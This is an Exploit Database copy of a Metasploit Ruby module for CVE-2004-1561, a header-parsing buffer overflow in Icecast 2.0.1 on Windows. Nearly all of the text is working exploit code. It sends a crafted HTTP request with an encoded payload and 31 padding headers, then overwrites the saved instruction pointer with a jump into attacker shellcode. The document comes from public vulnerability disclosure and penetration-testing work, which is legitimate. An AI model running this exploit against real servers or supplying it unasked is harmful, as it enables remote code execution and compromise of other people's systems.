Icecast 2.0.1 (Windows x86) – Header Overwrite (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16763/

• ##
  # $Id: icecast_header.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the header parsing
  				of icecast, discovered by Luigi Auriemma.Sending 32 HTTP
  				headers will cause a write one past the end of a pointer
  				array.On win32 this happens to overwrite the saved
  				instruction pointer, and on linux (depending on compiler,
  				etc) this seems to generally overwrite nothing crucial (read
  				not exploitable).
  
  				!! This exploit uses ExitThread(), this will leave icecast
  				thinking the thread is still in use, and the thread counter
  				won't be decremented.This means for each time your payload
  				exits, the counter will be left incremented, and eventually
  				the threadpool limit will be maxed.So you can multihit,
  				but only till you fill the threadpool.
  
  			},
  			'Author' => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-1561'],
  					[ 'OSVDB', '10406'],
  					[ 'BID', '11271'],
  					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 2000,
  					'BadChars' => "\x0d\x0a\x00",
  					'DisableNops' => true,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', { }],
  				],
  			'DisclosureDate' => 'Sep 28 2004',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(8000)
  			], self.class)
  	end
  
  	# Interesting that ebp is pushed after the local variables, and the line array
  	# is right before the saved eip, so overrunning it just by 1 element overwrites
  	# eip, making an interesting exploit....
  	# .text:00414C00 sub esp, 94h
  	# .text:00414C06 pushebx
  	# .text:00414C07 pushebp
  	# .text:00414C08 pushesi
  
  	def exploit
  		connect
  
  		# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
  		# jmp 12
  		evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
  		evul << "Accept: text/html\r\n" * 31;
  
  		# jmp [esp+4]
  		evul << "\xff\x64\x24\x04\r\n"
  		evul << "\r\n"
  
  		sock.put(evul)
  
  		handler
  		disconnect
  	end
  
  end